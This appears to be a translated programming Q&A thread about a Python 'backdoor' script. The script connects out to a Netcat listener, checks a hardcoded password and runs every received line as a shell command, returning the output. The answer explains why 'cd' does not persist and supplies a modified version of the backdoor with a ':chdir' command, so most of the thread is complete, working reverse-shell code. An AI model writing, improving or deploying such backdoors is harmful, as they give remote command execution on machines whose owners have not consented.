后门外壳不允许我更改目录

Question

您可以在下面看到一个 Python 脚本，它在端口 1234 上与我的机器建立连接。使用 Netcat，我可以在该端口上侦听，然后使用终端在我的机器上执行操作（我知道这很简单，但它只是用于练习）。

现在的问题是“ls、mkdir、pwd、rm 甚至“ls /root/Desktop/”之类的命令都可以正常工作，但是“cd /root/Desktop”或“cd ..”不能正常工作，这实际上非常糟糕。键入“cd ..”不会返回任何错误消息，但它也不会更改目录。我不能离开我的 python 目录。

这是脚本：

#! /usr/bin/python
import socket
import subprocess

host = "localhost"
port = 1234
passwd = "hacking"


def login():
    global s
    s.send("Login: ")
    pwd = s.recv(1024)

    if pwd.strip() != passwd:
        login()
    else:
        s.send("Connected #> ")
        shell()

def shell():
    while True:
        data = s.recv(1024)

        if data.strip() == ":kill":
              break

        proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE,
                                stderr=subprocess.PIPE, stdin=subprocess.PIPE)
        output = proc.stdout.read() + proc.stderr.read()
        s.send(output)
        s.send("#> ")



s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
login()

我是从here 那里得到的。

谁能帮帮我？知道为什么我不能离开目录吗？提前致谢！

Answer 1

它实际上工作正常。如果您在单个命令中尝试此操作：cd /other/directory; ls。您会看到该目录实际上在该命令执行期间确实“更改”了。每个新命令都会获得一个全新的环境（所以回到相同的原始目录）。如果您真的想在命令之间更改“服务器上下文”，那么您需要在 python 中执行此操作。以下是添加到您提供的代码中的脏示例：

#! /usr/bin/python
import socket
import subprocess
import os

host = "localhost"
port = 12345
passwd = "hacking"


def login():
    global s
    s.send("Login: ")
    pwd = s.recv(1024)

    if pwd.strip() != passwd:
        login()
    else:
        s.send("Connected #> ")
        shell()

def shell():
    while True:
        data = s.recv(1024).strip()

        if data == ":kill":
              break

        try:
            cmd, params = data.split(" ", 1)
            if cmd == ":chdir":
                os.chdir(params)
                print "chdir to %s" % (params)
                s.send("#> ")
                continue
        except:
            pass

        proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE,
                                stderr=subprocess.PIPE, stdin=subprocess.PIPE)
        output = proc.stdout.read() + proc.stderr.read()
        s.send(output)
        s.send("#> ")



s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
login()

与你的 ":kill" 命令的想法相同，如果脚本看到的是 ":chdir /new/directory"，则 python 执行 chdir 函数，否则将其传递给 Popen。